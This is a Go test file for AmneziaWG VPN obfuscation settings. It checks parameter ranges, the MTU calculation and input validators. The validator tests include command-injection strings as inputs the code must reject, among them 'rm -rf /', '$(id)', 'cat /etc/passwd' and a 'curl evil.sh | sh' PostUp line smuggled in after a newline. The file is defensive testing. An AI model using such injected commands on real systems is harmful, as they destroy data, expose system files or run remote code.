params_test.go 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531
  1. package amneziawg
  2. import (
  3. "encoding/base64"
  4. "strconv"
  5. "strings"
  6. "testing"
  7. )
  8. func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
  9. for range 200 {
  10. o := GenerateObfuscation31()
  11. if o.Jc < 3 || o.Jc > 6 {
  12. t.Fatalf("Jc = %d, want [3,6]", o.Jc)
  13. }
  14. if o.Jmin < 40 || o.Jmin > 89 {
  15. t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
  16. }
  17. if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
  18. t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
  19. }
  20. if o.S1 < 15 || o.S1 > 150 {
  21. t.Fatalf("S1 = %d, want [15,150]", o.S1)
  22. }
  23. if o.S2 < 15 || o.S2 > 150 {
  24. t.Fatalf("S2 = %d, want [15,150]", o.S2)
  25. }
  26. if o.S1+56 == o.S2 {
  27. t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
  28. }
  29. if o.S3 < 12 || o.S3 > 55 {
  30. t.Fatalf("S3 = %d, want [12,55]", o.S3)
  31. }
  32. if o.S4 < 12 || o.S4 > 27 {
  33. t.Fatalf("S4 = %d, want [12,27]", o.S4)
  34. }
  35. if o.HeaderProtectionKey != "" {
  36. if err := ValidateObfuscation(o); err != nil {
  37. t.Fatalf("generated set failed its own validation: %v", err)
  38. }
  39. }
  40. for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
  41. if err := validateUintRange(h, 0); err != nil {
  42. t.Fatalf("%s = %q invalid: %v", name, h, err)
  43. }
  44. if h == "" {
  45. t.Fatalf("%s is empty, want a generated range", name)
  46. }
  47. }
  48. if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
  49. t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
  50. }
  51. n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
  52. if err != nil || n < 32 || n > 256 {
  53. t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
  54. }
  55. for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
  56. if v != "" {
  57. t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
  58. }
  59. }
  60. key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
  61. if err != nil || len(key) != 32 {
  62. t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
  63. }
  64. assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
  65. rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
  66. if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
  67. t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
  68. }
  69. rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
  70. if rjLo < rkHi+30 {
  71. t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
  72. }
  73. assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
  74. assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
  75. assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
  76. if !o.RandomTrailers || !o.DisableCookies {
  77. t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
  78. }
  79. }
  80. }
  81. // assertRangeWithin parses a "lo-hi" value and fails unless
  82. // min <= lo <= hi <= max, returning the parsed bounds.
  83. func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
  84. t.Helper()
  85. lo, hi, ok := parseUintRange(v)
  86. if !ok || !strings.Contains(v, "-") {
  87. t.Fatalf("%s = %q, want a lo-hi range", name, v)
  88. }
  89. if lo < min || hi > max || lo > hi {
  90. t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
  91. }
  92. return lo, hi
  93. }
  94. func TestGenerateHValuesDistinct(t *testing.T) {
  95. for range 50 {
  96. h := generateHValues()
  97. var prev int64
  98. for i, v := range h {
  99. n, err := strconv.ParseInt(v, 10, 64)
  100. if err != nil {
  101. t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
  102. }
  103. if n <= prev {
  104. t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
  105. }
  106. prev = n
  107. }
  108. }
  109. }
  110. func validObfuscation() Obfuscation31 {
  111. return GenerateObfuscation31()
  112. }
  113. func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
  114. for range 50 {
  115. if err := ValidateObfuscation(validObfuscation()); err != nil {
  116. t.Fatalf("generated obfuscation set rejected: %v", err)
  117. }
  118. }
  119. }
  120. func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
  121. o := validObfuscation()
  122. o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
  123. if err := ValidateObfuscation(o); err != nil {
  124. t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
  125. }
  126. }
  127. func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
  128. o := validObfuscation()
  129. o.Jmin, o.Jmax = 50, 10
  130. if err := ValidateObfuscation(o); err == nil {
  131. t.Fatal("Jmin > Jmax must be rejected")
  132. }
  133. }
  134. func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
  135. o := validObfuscation()
  136. o.S3 = 65536
  137. if err := ValidateObfuscation(o); err == nil {
  138. t.Fatal("S3 past uint16 must be rejected: amneziawg-go's UAPI parser refuses it")
  139. }
  140. o = validObfuscation()
  141. o.S4 = 33
  142. if err := ValidateObfuscation(o); err == nil {
  143. t.Fatal("S4 > 32 must be rejected")
  144. }
  145. o = validObfuscation()
  146. o.S3, o.S4 = -1, -1
  147. if err := ValidateObfuscation(o); err == nil {
  148. t.Fatal("negative S3/S4 must be rejected")
  149. }
  150. }
  151. // Amnezia Premium ships S3=1045; 1636 is the largest cookie padding every platform can receive.
  152. func TestValidateServerObfuscationAcceptsLargeS3(t *testing.T) {
  153. for _, s3 := range []int{1045, 1636} {
  154. o := validObfuscation()
  155. o.S3 = s3
  156. if err := ValidateServerObfuscation(o); err != nil {
  157. t.Fatalf("S3=%d must be accepted: %v", s3, err)
  158. }
  159. }
  160. }
  161. func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
  162. for field, set := range map[string]func(o *Obfuscation31){
  163. "S1": func(o *Obfuscation31) { o.S1 = 11 },
  164. "S2": func(o *Obfuscation31) { o.S2 = 11 },
  165. "S3": func(o *Obfuscation31) { o.S3 = 11 },
  166. "S4": func(o *Obfuscation31) { o.S4 = 11 },
  167. } {
  168. o := validObfuscation()
  169. set(&o)
  170. if err := ValidateObfuscation(o); err == nil {
  171. t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
  172. }
  173. }
  174. o := validObfuscation()
  175. o.HeaderProtectionKey = ""
  176. o.S3, o.S4 = 8, 4
  177. if err := ValidateObfuscation(o); err != nil {
  178. t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
  179. }
  180. }
  181. func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
  182. o := validObfuscation()
  183. o.S1 = 30
  184. o.S2 = o.S1 + 56
  185. if err := ValidateObfuscation(o); err == nil {
  186. t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
  187. }
  188. }
  189. func TestValidateObfuscationRejectsBadH(t *testing.T) {
  190. cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
  191. for _, h := range cases {
  192. o := validObfuscation()
  193. o.H1 = h
  194. if err := ValidateObfuscation(o); err == nil {
  195. t.Fatalf("H1 = %q must be rejected", h)
  196. }
  197. }
  198. }
  199. func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
  200. o := validObfuscation()
  201. o.HeaderProtectionKey = ""
  202. o.ContentPaddingAddition = ""
  203. o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
  204. o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
  205. o.RandomTrailers, o.DisableCookies = false, false
  206. if err := ValidateObfuscation(o); err != nil {
  207. t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
  208. }
  209. }
  210. func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
  211. cases := []struct {
  212. name string
  213. mutate func(o *Obfuscation31)
  214. }{
  215. {"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
  216. {"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
  217. {"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
  218. {"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
  219. {"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
  220. {"rekey max not below reject min", func(o *Obfuscation31) {
  221. o.RekeyAfterTime = "100-200"
  222. o.RejectAfterTime = "200-300"
  223. }},
  224. {"single rekey value at reject min", func(o *Obfuscation31) {
  225. o.RekeyAfterTime = "180"
  226. o.RejectAfterTime = "180-300"
  227. }},
  228. {"embedded newline splits the config line", func(o *Obfuscation31) {
  229. o.RekeyAfterTime = "110\n-140"
  230. o.RejectAfterTime = "190-250"
  231. }},
  232. {"reject alone below the 120s default rekey", func(o *Obfuscation31) {
  233. o.RekeyAfterTime = ""
  234. o.RejectAfterTime = "30-60"
  235. }},
  236. {"rekey alone above the 180s default reject", func(o *Obfuscation31) {
  237. o.RekeyAfterTime = "200-300"
  238. o.RejectAfterTime = ""
  239. }},
  240. }
  241. for _, c := range cases {
  242. o := validObfuscation()
  243. c.mutate(&o)
  244. if err := ValidateObfuscation(o); err == nil {
  245. t.Errorf("%s must be rejected", c.name)
  246. }
  247. }
  248. }
  249. func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
  250. cases := []struct {
  251. name string
  252. key string
  253. }{
  254. {"not base64", "not!!!base64"},
  255. {"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
  256. {"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
  257. {"control characters", "AAAA\nBBBB"},
  258. // DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
  259. // only the explicit control-character check can catch the line wrap.
  260. {"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
  261. }
  262. for _, c := range cases {
  263. o := validObfuscation()
  264. o.HeaderProtectionKey = c.key
  265. if err := ValidateObfuscation(o); err == nil {
  266. t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
  267. }
  268. }
  269. }
  270. func TestCanonicalizeUintRange(t *testing.T) {
  271. cases := []struct{ in, want string }{
  272. {"110 - 140", "110-140"},
  273. {" 120 ", "120"},
  274. {" ", ""},
  275. {"", ""},
  276. {"110-140", "110-140"},
  277. }
  278. for _, c := range cases {
  279. if got := CanonicalizeUintRange(c.in); got != c.want {
  280. t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
  281. }
  282. }
  283. }
  284. func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
  285. o := validObfuscation()
  286. o.ContentPaddingAddition = "32"
  287. o.RekeyAfterTime = "120"
  288. o.RejectAfterTime = "180"
  289. if err := ValidateObfuscation(o); err != nil {
  290. t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
  291. }
  292. }
  293. func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
  294. for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
  295. if err := ValidateInterfaceName(name); err != nil {
  296. t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
  297. }
  298. }
  299. }
  300. func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
  301. cases := []string{
  302. "eth0 -j ACCEPT; rm -rf /",
  303. "eth0`whoami`",
  304. "eth0$(id)",
  305. "eth0|cat /etc/passwd",
  306. "eth0\nMASQUERADE",
  307. "aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
  308. }
  309. for _, name := range cases {
  310. if err := ValidateInterfaceName(name); err == nil {
  311. t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
  312. }
  313. }
  314. }
  315. func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
  316. cases := []struct {
  317. ip string
  318. cidr int
  319. }{
  320. {"10.8.1.0", 24},
  321. {"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
  322. {"192.168.5.10", 32},
  323. }
  324. for _, c := range cases {
  325. if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
  326. t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
  327. }
  328. }
  329. }
  330. func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
  331. cases := []struct {
  332. ip string
  333. cidr int
  334. }{
  335. {"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
  336. {"not-an-ip", 24},
  337. {"", 24},
  338. {"fd86::1", 64}, // IPv6, not IPv4
  339. {"10.8.1.0", 33}, // cidr out of range
  340. }
  341. for _, c := range cases {
  342. if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
  343. t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
  344. }
  345. }
  346. }
  347. func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
  348. for _, v := range []string{"", "[email protected]", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
  349. if err := ValidateConfigValue("email", v); err != nil {
  350. t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
  351. }
  352. }
  353. }
  354. func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
  355. cases := []string{
  356. "a@x\nPostUp = curl evil.sh | sh",
  357. "a@x\r\n[Interface]",
  358. "tab\there",
  359. "a@x\x7f",
  360. }
  361. for _, v := range cases {
  362. if err := ValidateConfigValue("email", v); err == nil {
  363. t.Errorf("ValidateConfigValue(%q) must be rejected", v)
  364. }
  365. }
  366. }
  367. // The plain 1420 default left no headroom for s4: it put full-size packets at
  368. // 1480+S4 on the wire and fragmented every one of them once S4 passed 20.
  369. func TestEffectiveMTUKeepsFullSizePacketsUnfragmented(t *testing.T) {
  370. t.Parallel()
  371. // 20 IPv4 + 8 UDP + 16 transport header + 16 poly1305 tag.
  372. const encapOverhead = 60
  373. const hostLinkMTU = 1500
  374. for s4 := 0; s4 <= 32; s4++ {
  375. mtu := EffectiveMTU(0, s4)
  376. if wire := mtu + encapOverhead + s4; wire > hostLinkMTU {
  377. t.Errorf("s4=%d: MTU %d puts a full-size transport packet at %d bytes on the wire, over the %d-byte host link", s4, mtu, wire, hostLinkMTU)
  378. }
  379. }
  380. }
  381. // TestEffectiveMTUPrefersTheAdminsValue: the S4-aware default is a fallback,
  382. // not an override -- an explicit MTU must survive untouched.
  383. func TestEffectiveMTUPrefersTheAdminsValue(t *testing.T) {
  384. t.Parallel()
  385. if got := EffectiveMTU(1380, 27); got != 1380 {
  386. t.Errorf("EffectiveMTU(1380, 27) = %d, want the configured 1380", got)
  387. }
  388. if got := EffectiveMTU(0, 27); got != DefaultMTU-27 {
  389. t.Errorf("EffectiveMTU(0, 27) = %d, want %d", got, DefaultMTU-27)
  390. }
  391. if got := EffectiveMTU(0, 0); got != DefaultMTU {
  392. t.Errorf("EffectiveMTU(0, 0) = %d, want %d", got, DefaultMTU)
  393. }
  394. if got := EffectiveMTU(-5, 12); got != DefaultMTU-12 {
  395. t.Errorf("a nonsense configured MTU must fall back, got %d", got)
  396. }
  397. }
  398. // TestValidateObfuscationRejectsOutOfRangeJunkAndPadding pins the widths
  399. // amneziawg-go's UAPI actually parses: uint32 for jc/jmin/jmax, uint16 for s1-s3.
  400. func TestValidateObfuscationRejectsOutOfRangeJunkAndPadding(t *testing.T) {
  401. base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
  402. tests := []struct {
  403. name string
  404. mut func(*Obfuscation31)
  405. }{
  406. {"S1 over uint16", func(o *Obfuscation31) { o.S1 = 65536 }},
  407. {"S2 over uint16", func(o *Obfuscation31) { o.S2 = 70000 }},
  408. {"negative Jc", func(o *Obfuscation31) { o.Jc = -1 }},
  409. {"negative Jmin and Jmax", func(o *Obfuscation31) { o.Jmin, o.Jmax = -5, -1 }},
  410. {"Jc over uint32", func(o *Obfuscation31) { o.Jc = 5000000000 }},
  411. {"negative S1", func(o *Obfuscation31) { o.S1 = -1 }},
  412. }
  413. for _, tt := range tests {
  414. t.Run(tt.name, func(t *testing.T) {
  415. o := base
  416. tt.mut(&o)
  417. if err := ValidateObfuscation(o); err == nil {
  418. t.Fatal("ValidateObfuscation accepted a value amneziawg-go's UAPI parser rejects, so the inbound would save and then fail to apply")
  419. }
  420. })
  421. }
  422. if err := ValidateObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 65535, S2: 30, S3: 20, S4: 20}); err != nil {
  423. t.Fatalf("S1 at the uint16 maximum must stay valid for an outbound: %v", err)
  424. }
  425. }
  426. // An inbound's handshakes must fit iOS's 1700-byte buffer: 148+S1, 92+S2 and 64+S3.
  427. func TestValidateServerObfuscationBoundsHandshakesByTheIOSBuffer(t *testing.T) {
  428. base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
  429. for name, mut := range map[string]func(*Obfuscation31){
  430. "S1 init over 1700 bytes": func(o *Obfuscation31) { o.S1 = 1553 },
  431. "S2 response over 1700 bytes": func(o *Obfuscation31) { o.S2 = 1609 },
  432. "S3 cookie over 1700 bytes": func(o *Obfuscation31) { o.S3 = 1637 },
  433. } {
  434. o := base
  435. mut(&o)
  436. if err := ValidateServerObfuscation(o); err == nil {
  437. t.Fatalf("%s: an iOS client could never receive it, so the inbound must not save", name)
  438. }
  439. }
  440. // 148+1552 and 92+1608 are exactly 1700; Amnezia Premium ships S1=284 S2=659.
  441. for _, s := range [][2]int{{1552, 30}, {20, 1608}, {284, 659}} {
  442. if err := ValidateServerObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: s[0], S2: s[1], S3: 20, S4: 20}); err != nil {
  443. t.Fatalf("S1=%d S2=%d must stay valid: %v", s[0], s[1], err)
  444. }
  445. }
  446. }
  447. // amneziawg-go refuses the whole device when H1-H4 overlap ("headers must not overlap",
  448. // device/uapi.go); 1-4 alone are legal and the engine's own default.
  449. func TestValidateObfuscationHOverlap(t *testing.T) {
  450. base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
  451. reject := [][4]string{
  452. {"100-200", "150-300", "400", "500"},
  453. {"7", "7", "8", "9"},
  454. {"3", "", "", ""}, // blank H3 keeps the engine default 3
  455. }
  456. for _, h := range reject {
  457. o := base
  458. o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
  459. if err := ValidateObfuscation(o); err == nil {
  460. t.Fatalf("H=%v overlaps, amneziawg-go rejects it, so the inbound must not save", h)
  461. }
  462. }
  463. accept := [][4]string{{"1", "2", "3", "4"}, {"", "", "", ""}, {"5-10", "11-20", "21", "22-30"}}
  464. for _, h := range accept {
  465. o := base
  466. o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
  467. if err := ValidateObfuscation(o); err != nil {
  468. t.Fatalf("H=%v must be accepted: %v", h, err)
  469. }
  470. }
  471. }
  472. // TestValidateObfuscationRejectsMalformedSignaturePackets covers I1-I5, whose
  473. // "<tag value>" chain amneziawg-go parses with newObfChain (device/obf.go).
  474. func TestValidateObfuscationRejectsMalformedSignaturePackets(t *testing.T) {
  475. base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
  476. bad := []string{"<rand 100>", "<r 100", "<>", "< >", "<r 10><nope 2>"}
  477. for _, spec := range bad {
  478. t.Run("reject "+spec, func(t *testing.T) {
  479. o := base
  480. o.I1 = spec
  481. if err := ValidateObfuscation(o); err == nil {
  482. t.Fatalf("ValidateObfuscation accepted I1=%q, which newObfChain rejects", spec)
  483. }
  484. })
  485. }
  486. good := []string{"", "<r 100>", "<b ff00><r 10>", "<t><rc 5>", "no tags at all"}
  487. for _, spec := range good {
  488. t.Run("accept "+spec, func(t *testing.T) {
  489. o := base
  490. o.I5 = spec
  491. if err := ValidateObfuscation(o); err != nil {
  492. t.Fatalf("ValidateObfuscation rejected valid I5=%q: %v", spec, err)
  493. }
  494. })
  495. }
  496. }